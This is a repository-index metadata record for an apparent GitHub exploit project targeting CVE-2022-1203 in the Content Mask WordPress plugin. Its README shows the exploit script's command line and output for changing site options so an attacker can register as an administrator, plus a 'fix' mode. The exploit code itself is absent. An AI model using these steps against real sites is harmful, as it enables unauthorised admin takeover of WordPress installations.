{"id":21125735,"url":"https://github.com/randomrobbiebf/cve-2022-1203","last_synced_at":"2025-07-18T09:38:25.097Z","repository":{"id":185824359,"uuid":"674165540","full_name":"RandomRobbieBF/CVE-2022-1203","owner":"RandomRobbieBF","description":"Content Mask \u003c 1.8.4 - Subscriber+ Arbitrary Options Update","archived":false,"fork":false,"pushed_at":"2023-08-03T09:43:29.000Z","size":9,"stargazers_count":0,"open_issues_count":0,"forks_count":2,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-14T11:41:38.711Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-08-03T09:39:15.000Z","updated_at":"2024-08-12T20:32:20.000Z","dependencies_parsed_at":null,"dependency_job_id":"00406f0a-8448-4ddb-83fd-33bd40b38fc9","html_url":"https://github.com/RandomRobbieBF/CVE-2022-1203","commit_stats":null,"previous_names":["randomrobbiebf/cve-2022-1203"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/RandomRobbieBF/CVE-2022-1203","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-1203","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-1203/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-1203/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-1203/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/CVE-2022-1203/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-1203/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259539132,"owners_count":22873341,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T04:36:38.780Z","updated_at":"2025-06-12T22:06:42.993Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2022-1203\nContent Mask \u0026lt; 1.8.4 - Subscriber+ Arbitrary Options Update\n\n## Description\n\nThe Content Mask WordPress plugin before 1.8.4.1 does not have authorisation and CSRF checks in various AJAX actions, as well as does not validate the option to be updated to ensure it belongs to the plugin. As a result, any authenticated user, such as subscriber could modify arbitrary blog options\n\n\n## How to use\n\nExploit\n---\n```\n\n$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1\nThe plugin version is below 1.8.3.2.\nThe plugin version is 1.8.3.2\nVulnerability check: http://wordpress.lan\nLogged in successfully.\nOption set successfully: http://wordpress.lan/wp-admin/admin-ajax.php\nOption set successfully: http://wordpress.lan/wp-admin/admin-ajax.php\nYou can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.\n```\n\nFix\n---\n```\npython3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes\nVulnerability check: http://wordpress.lan\nLogged in successfully.\nOption set successfully: http://wordpress.lan/wp-admin/admin-ajax.php\nOption set successfully: http://wordpress.lan/wp-admin/admin-ajax.php\nFixed: You can not longer register\n\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2022-1203","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fcve-2022-1203","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2022-1203/lists"}